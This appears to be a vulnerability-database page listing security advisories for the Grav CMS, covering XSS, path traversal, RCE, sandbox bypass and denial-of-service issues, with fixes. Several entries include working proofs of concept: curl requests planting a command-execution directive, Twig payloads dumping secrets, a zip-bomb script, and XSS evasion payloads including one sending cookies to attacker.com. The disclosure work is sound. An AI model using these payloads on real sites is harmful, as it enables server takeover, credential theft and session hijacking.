Where
-Infinity
0
Severity
7.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav is a flat-file CMS. In versions 2.0.0-rc.1 through 2.0.21, the Twig content sandbox fails to restrict the dump and serialize filters (printr, vardump, jsonencode, yamlencode, string): GravExtension::assertSandboxDumpSafe() determines sandbox state by calling SandboxExtension::isSandboxed() without a Source argument, which reports only the global sandbox flag that Grav never enables, so the guard added in GHSA-mc5q-6hpj-rp7j never executes. As a result, an authenticated user with page-edit rights can render {{ config|printr }} in page content with Twig processing enabled and dump Grav's entire merged configuration — printr reflects the real Config object held in a private property of the SandboxConfig facade, bypassing its path redaction — exposing plugin secrets such as SMTP credentials, API tokens, webhook secrets and cache backend passwords. Grav 1.7 is not affected because it ships no Twig content sandbox. The issue is fixed in 2.0.22, where the affected filters are registered with Twig's needsissandboxed flag.

First published (updated )
Severity
1.8
XSS
AV:L/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N

Grav 1.7.50.2 allows admins to enter JavaScript via the Home Page editor. NOTE: the relevance of this for stored XSS is disputed because admins are allowed to modify templates, install plugins, and upload other executable content.

First published (updated )
Severity
5.1
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.

First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Grav versions before 1.10.55 contain a path traversal vulnerability in the admin plugin's Save As action that fails to validate the language code parameter. An authenticated admin user with admin.pages.create permission can supply directory traversal sequences in the lang POST field to write arbitrary .md files outside the pages directory with attacker-controlled content.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Grav versions 2.0.0 through 2.0.17 fail to apply save-time XSS detection to modular pages, allowing authenticated page editors to store Twig-assembled XSS payloads. Attackers with page-edit rights can create modular pages with malicious Twig code that executes in visitor browsers when the parent page is rendered, including in administrator sessions.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The getgrav/grav-plugin-login Composer plugin before 3.9.1 (used by Grav) compares password reset and account activation tokens using a non-constant-time === string comparison instead of hashequals() in classes/Controller.php (taskReset()) and login.php (activation handler). Because the token-submission endpoint (taskReset) also lacks rate limiting, an attacker could in principle send repeated token guesses against a known username and use the timing differences to attempt to recover a valid token, though the vendor rates the practical exploitability as low and no end-to-end network exploit has been demonstrated.

First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Grav before 2.0.16 contains a path traversal vulnerability in MediaUploadTrait::deleteFile() that allows authenticated users with media management permissions to delete arbitrary files by supplying filenames with directory traversal sequences. The method validates only the basename portion of the filename while preserving unvalidated directory paths containing ../ sequences that are passed to unlink(), enabling deletion of files outside the intended media storage directory.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav before 3.9.2 fails to validate untrusted Host headers in the sendInvitationEmail() function when constructing token-bearing invitation links. Attackers can manipulate the Host header to poison invitation links and redirect users to attacker-controlled domains, bypassing the requiretrustedhost protection which only covers password reset flows.

First published (updated )
Severity
8.7
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to calluserfuncarray() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC Placeholders: <BASEURL> the site; <SESSIONCOOKIE> an admin session cookie for an account with admin.pages; <ADMINNONCE> the admin-nonce on any admin page (window.GravAdmin.config.adminnonce).

Save a "form" page whose field carries the callable directive:

curl '<BASEURL>/admin/pages/rcepoc' \ -H 'Cookie: <SESSIONCOOKIE>' \ --data-urlencode 'task=save' \ --data-urlencode 'admin-nonce=<ADMINNONCE>' \ --data-urlencode 'data[folder]=rcepoc' \ --data-urlencode 'data[name]=form' \ --data-urlencode 'data[title]=x' \ --data-urlencode 'data[content]=hi' \ --data-urlencode "data[frontmatter]=forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::arrayFilterRecursive' - { 'echo GRAV-RCE-OK; id': 'x' } - system"

Trigger it as an unauthenticated visitor:

curl '<BASEURL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The default .htaccess shipped with Grav (and the reference webserver-configs/htaccess.txt) contains security rules that block direct HTTP access to sensitive file types (.yaml, .yml, .php, .json, .twig, etc.) under user/ and system/vendor/ directories. However, these rules lack the [NC] (No Case) flag, making them case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Linux with Docker volumes mounted from Windows/macOS), an attacker can bypass these rules by requesting files with uppercase extensions (e.g., .YAML, .PHP, .JSON).

Affected Versions

- Grav 2.0.1 (latest stable as of June 2026) — confirmed - Grav 1.7.x — likely affected (same .htaccess rules) - All versions shipping the current webserver-configs/htaccess.txt

Affected Component

File: .htaccess (root of Grav installation) Reference: webserver-configs/htaccess.txt

Affected Rules (lines 68, 70, 72)

apache Line 68 — system/vendor file types RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]

Line 70 — user file types RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]

Line 72 — .md files globally RewriteRule \.md$ error [F]

All three rules use [F] without [NC], making the extension match case-sensitive.

Steps to Reproduce

1. Install Grav on a system with a case-insensitive filesystem: - Windows (native WAMP/XAMPP) - macOS (default HFS+) - Docker on Windows/macOS with volume mounts (e.g., ./data:/var/www/html)

2. Create or use any plugin that stores sensitive data in its YAML config (e.g., API keys): user/plugins/my-plugin/my-plugin.yaml

3. Request the file with a case-varied extension: GET /user/plugins/my-plugin/my-plugin.YAML HTTP/1.1

4. Expected: HTTP 403 Forbidden 5. Actual: HTTP 200 OK — full file contents returned, including any API keys or sensitive configuration

Impact

- Information disclosure: Plugin configuration files (.yaml) containing API keys, credentials, or sensitive settings can be read by unauthenticated users - Source code exposure: PHP source files can be downloaded (instead of executed) when requested with .PHP extension on some configurations - Configuration exposure: user/config/system.yaml, user/config/site.yaml, and other system configuration files are accessible

Fix

Add the [NC] flag to the three affected rules:

apache RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule \.md$ error [F,NC]

The [NC] flag makes the extension matching case-insensitive, covering .YAML, .Yaml, .PHP, .Json, etc.

Mitigating Factors

- On native Linux with ext4 filesystem (case-sensitive), the attack does not work because Apache cannot resolve the uppercase filename to the actual file - Grav 2.0's Twig sandbox blocks access to plugins config subtree from page content, preventing SSTI-based config exfiltration - The user/accounts/, user/config/, and user/data/ folders have separate rules (line 62, 66) that block ALL file types regardless of extension — these are not affected

Environment

- Grav: 2.0.1 - PHP: 8.3 - Apache: 2.4 with modrewrite - OS: Docker (php:8.3-apache) with volume mounted from Windows 10 (NTFS) - Tested: June 2026

Reporter

Sisnetic

1 / 2
Source: GitHub
First published (updated )
Severity
6
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Grav is a file-based Web platform. Prior to 2.0.4, Grav allowlists the regexreplace filter and function in system/config/security.yaml, and GravExtension::regexReplace() passes an editor-controlled pattern directly to pregreplace(). When security.twigcontent.processenabled is enabled, an authenticated page editor can publish a catastrophically backtracking pattern that consumes PHP worker CPU and denies service to site visitors. This issue is fixed in version 2.0.4.

First published (updated )
Severity
6.5
Infoleak, XSS
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The Twig content sandbox replaces config with the redacted SandboxConfig facade and strips Config::get/toArray from the method allowlist (GHSA-j274-39qw-32c9), so editor content can't read config secrets via config. That's bypassable: grav is the raw container, offsetget is allow-listed on it, so grav.offsetGet('config') returns the real Config. The allow-listed filters jsonencode/printr/yamlencode then serialize it at the PHP level, never hitting the sandbox method gate, dumping the whole config tree including every plugins. secret (SMTP creds, API keys, plugin DB creds). Incomplete fix for GHSA-j274-39qw-32c9. security.salt does not leak (it lives outside config).

Details

The documented path is blocked: config is the SandboxConfig facade (Twig.php:660) and the raw Config/Data method entries are stripped when configaccess is false, so {{ config.get(...) }} returns the default and {{ grav.offsetGet('config').get(...) }} raises SecurityNotAllowedMethodError.

The bypass uses two allow-listed primitives the redaction doesn't cover:

1. grav.offsetGet('config') returns the raw Config. The SandboxConfig facade replaces only the config variable, not grav['config']; offsetget is allow-listed on Grav\Common\Grav in system/config/security.yaml. 2. jsonencode/printr/yamlencode serialize the object inside the filter and never call GravSecurityPolicy::checkMethodAllowed (GravSecurityPolicy.php:65), so the stripped methods don't matter.

Bug class: object-dumping filters bypass the sandbox member gate. The same dump reaches page/pages/uri/user via their allow-listed accessors; config is the secret-bearing target.

Reachable below the publisher-Twig opt-in: a -prefixed slug is modular (Page.php:228), and Page::content() sets $processtwig = $scantwigxss || $this->modularTwig() (Page.php:816), so a modular child's body Twig is sandboxed-rendered even with twigcontent.processenabled false (the default), while $scantwigxss stays false so the render-time XSS scan (GHSA-2c4f-86xc-cr74) is skipped. Any admin.pages author (or filesystem write to user/pages) exfiltrates config on a stock install. On a regular process.twig page the whole-tree dump trips the XSS scan and is blanked, but a targeted split/slice extraction of one subtree is XSS-clean and survives.

PoC

Sandboxed render, configaccess default false. First two lines show the gate holding, third is the bypass:

twig {{ config.get('plugins.email.mailer.smtp.password', 'DENIED') }} {# => DENIED #} {{ grav.offsetGet('config').get('plugins.email.mailer.smtp.password') }} {# => SecurityNotAllowedMethodError 'get' #} {{ grav.offsetGet('config')|jsonencode }} {# => {...,"plugins":{"email":{"mailer":{"smtp":{"password":"CANARY..."}}}},...} #}

Stock-install reproduction (no user/config/security.yaml):

yaml user/config/plugins/email.yaml -- decoy secret mailer: { smtp: { password: CANARYSMTPPW8b3f1 } }

user/pages/70.parent/default.md --- title: Parent content: { items: '@self.modular' } template: modular ---

twig {# user/pages/70.parent/secret/default.md #} --- title: Secret template: modular/text --- {{ grav.offsetGet('config')|jsonencode }}

bash curl -s http://localhost/parent # body contains CANARYSMTPPW8b3f1

logs/security.log shows no sandbox block and no XSS scan for the route. Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, Twig 3.26.1-DEV.

Impact

A page author (admin.pages, no admin/super) reads the entire config tree: plugin SMTP credentials, API keys, plugin DB credentials. Read-only. Default install; the modular path needs no Twig opt-in.

Fix

system/config/security.yaml: drop offsetget (and get) from twigsandbox.allowedmethods for Grav\Common\Grav -- the legit uses are theme/getversion; offsetget is the raw-container reach. Closes the demonstrated path.

Sandbox-wide: make jsonencode/printr/yamlencode/string refuse non-allow-listed objects when $env->isSandboxed() (mirror the Closure-only guard Twig applies to map/filter/reduce). Closes the class for page/pages/uri/user too.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.

---

Details

Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:

php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);

if ($archive === true) { Folder::create($destination);

// Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } }

// Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... }

$zip->close(); return $this; } }

What's missing vs Installer::unZip():

| Protection | Installer::unZip() | ZipArchiver::extract() | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |

The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):

php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) { $entryName = $zip->getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination);

None of this validation exists in ZipArchiver::extract().

Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.

---

Proof of Concept

Step 1 - Create a zip bomb

bash Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIPDEFLATED) zeros = b'\x00' (1024 1024 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip Output: 42K /tmp/zipbomb.zip → expands to 10 GB

Step 2 - Extract via ZipArchiver

php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).

---

Impact

Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.

---

Remediation

Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():

php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);

if ($archive === true) { Folder::create($destination);

// Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0;

for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name === false) continue;

// Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); }

// Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++;

$depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } }

if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); }

if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } }

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the errorlog function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

First published (updated )
Severity
8.2
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav before 2.0.15 contains a path traversal vulnerability in the static asset server within index.php that uses string prefix matching instead of directory-boundary validation. Unauthenticated attackers can access files in sibling directories by exploiting directory names that extend the base path string, such as requesting assets-secret when assets is the configured base.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Grav versions from 1.5.2 through 2.0.12 contain a stored cross-site scripting vulnerability in the Security::detectXss() function (system/src/Grav/Common/Security.php). The event-handler scan is anchored at < and uses [^>]?, which cannot cross the first literal >; when a > appears inside a quoted attribute value the browser keeps the tag open and parses a subsequent event handler (e.g. onerror), so the detector and browser disagree. A page editor without admin.super privileges can save page content such as <img src=x title=">" onerror=alert(document.domain)>, which is accepted, stored, and executed in the site origin when any visitor (including unauthenticated users) views the page. Fixed in 2.0.13.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The getgrav/grav-plugin-api plugin before 1.0.13 fails to validate that the scopes of a newly created API key are a subset of the caller's scopes in createApiKey. The self-target path of requireApiKeyPermission() requires only the baseline api.access scope, and the new key's scopes are read directly from the request body with no subset check. An attacker holding a minimal-scope API key on a super account can submit an empty scopes array to mint an unscoped, full-access super key, bypassing scope restrictions (and enabling further chains such as configuration write to RCE).

First published (updated )
Severity
6.9
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Grav versions before 2.0.13 fail to properly validate backup profile root paths, allowing attackers to archive directories outside GRAVROOT when not in the hard-coded deny-list. Attackers with profile editor access can configure backup profiles with traversal paths to expose sensitive files from locations like /opt, /mnt, or /srv.

First published (updated )
Severity
9.3
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to calluserfuncarray() without any allowlist. Because the form plugin routes page frontmatter through this path, an authenticated account with the admin.pages (or api.pages.write) permission can plant a malicious callable directive in a page. The command then executes as the web-server user whenever anyone — including an unauthenticated visitor — accesses the page.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Grav contains a stored cross-site scripting vulnerability in shortcode-core attribute handlers where the XSS detection scan only matches payloads containing literal angle brackets, allowing shortcode parameters to bypass validation. Attackers with admin.pages permission can inject malicious JavaScript through shortcode attributes that execute in any viewer's browser, including administrators, enabling session hijacking via admin nonce theft.

First published (updated )
Severity
6
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Grav before 2.0.4 contains a regular expression denial of service (ReDoS) vulnerability in the regexreplace filter and function, which are allowlisted in the Twig content sandbox. When Twig processing in page content is enabled (security.twigcontent.processenabled: true, disabled by default), an authenticated page editor can supply a catastrophically backtracking PCRE pattern that is passed directly to PHP's pregreplace(), causing unbounded CPU consumption and denial of service to the web server process.

First published (updated )
Severity
9.1
CSRF
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav before 2.0.4 ships a default .htaccess (and reference webserver-configs/htaccess.txt) whose rules blocking access to sensitive file types (.yaml, .php, .json, etc.) lack the [NC] flag, making extension matching case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Docker volume mounts), an unauthenticated attacker can request these files with uppercase or mixed-case extensions (e.g., .YAML, .PHP) to bypass the restrictions and read sensitive configuration files that may contain API keys and credentials.

First published (updated )
Severity
7.2
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Grav before 9.1.8 contains an arbitrary file write vulnerability in the Form plugin's process.save.filename parameter, which is validated against path traversal before Twig processing but never re-validated after rendering. Attackers can submit form data containing path traversal sequences that are processed through Twig templates, allowing them to write arbitrary files including PHP webshells to the web root or other sensitive directories.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.

---

Details

The two-stage attack exploits the separation between validation and rendering:

Stage 1 - what the XSS validator sees (raw page content):

twig {% set x = "on" ~ "error" %} <img src=1 {{ x }}=alert(document.domain)>

The detectXss() function scans this string. The onevents regex looks for <[^>]?\s\x00-\x20\"\'\/\s= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.

Stage 2 - what Twig produces (after rendering):

html <img src=1 onerror=alert(document.domain)>

The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.

Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:

yaml allowedtags: - set # ← allows variable assignment ...

The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.

The same technique bypasses the dangeroustags blocklist - any blocked tag name can be reconstructed:

twig <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> {# XSS validator sees: <s{{...}}> - no <script> tag detected Twig output: <script>alert(1)</script> #}

Also bypasses the invalidprotocols check:

twig <a href="{{"java"~"script"}}:alert(1)">click</a> {# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}

---

Proof of Concept

Prerequisites 1. twigcontent.processenabled: true set by admin 2. api.pages.write permission (page creation)

Step 1 - Obtain JWT token (any user with page write access)

bash JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \ -X POST -H "Content-Type: application/json" \ -d '{"username":"user","password":"pass"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['accesstoken'])")

Step 2 - Create page with Twig XSS payload

bash curl -s http://127.0.0.1/grav/api/v1/pages -X POST \ -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \ -d '{ "title": "xss-page", "folder": "xss-page", "route": "/xss-page", "template": "default", "header": {"title": "xss", "process": {"markdown": false}}, "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>" }'

Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.

Step 3 - Visit page → XSS fires

bash curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]>' Output: <img src=1 onerror=alert(document.domain)>

Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires. <img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" /> <img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />

From a low-level user Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction. <img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />

But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click</a> proves that the we can bypass the blueprint restrictions and upload malicious script to it <img width="1841" height="1009" alt="image" src="https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd" /> <img width="1524" height="390" alt="image" src="https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770" />

Alternative payloads (all bypass the validator)

| Payload | Twig Source | After Twig | Triggers | |---------|------------|------------|----------| | Event handler | <img src=1 {{"on"~"error"}}=alert(1)> | <img src=1 onerror=alert(1)> | Image load fails | | Script tag | <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> | <script>alert(1)</script> | Immediately | | Protocol bypass | <a href="{{"java"~"script"}}:alert(1)">click</a> | <a href="javascript:alert(1)">click</a> | On click | | Iframe onload | <i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)> | <iframe onload=alert(1)> | Page load | | Details toggle | <details open {{"on"~"toggle"}}=alert(1)> | <details open ontoggle=alert(1)> | Page load | | Cookie theft | <img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)> | <img src=1 onerror=fetch(...)> | Image load fails |

Admin preview caveat

The Admin2 SPA renders page previews inside a sandboxed iframe:

html <iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>

allow-modals is not set - alert() is silenced in the admin preview. Use fetch(), document.write(), or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - alert() fires directly.

---

Impact

Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:

- Bypasses all four XSS validator regexes (onevents, invalidprotocols, dangeroustags, htmlinlinestyles) - Bypasses the dangerous tag blocklist (reconstructs <script>, <iframe>, <svg>, etc.) - Bypasses the invalid protocol blocklist (reconstructs javascript:, data:) - Persists across page edits (stored in page content file) - Executes for every visitor to the page

An attacker can steal session cookies, perform actions as the victim, or deface the site.

---

Remediation

Option A - Re-run the XSS validator on Twig output

After Twig::processPage() renders the content, run the XSS validator on the output before it is cached and served:

php // In Twig::processPage(), after rendering $rendered = $twig->render($name, $context); $result = Security::detectXss($rendered); if ($result !== null) { // Log and sanitize or block Security::logTwigSandboxViolation('xssoutput', $result, '', $route); return ''; // or return escaped version }

Option B - Disallow ~ and {% set %} in sandboxed content (too restrictive)

Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).

Option C - Block dynamic attribute names in Twig output

Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.

Option D - Escape HTML in rendered Twig output

Wrap the rendered output with htmlspecialchars() unless explicitly marked safe. This is the Twig default behavior — the |raw filter in theme templates bypasses it. Consider removing |raw from default themes and requiring explicit |raw only for trusted content.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header (ZipArchive::statIndex()['size']) and rejects archives exceeding system.gpm.archive.maxuncompressedsize before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56.

First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An unauthenticated visitor exhausts server memory and CPU by requesting an image with oversized resize dimensions. One request drives a worker to several gigabytes of RAM and tens of seconds of CPU. A few concurrent requests take the host down.

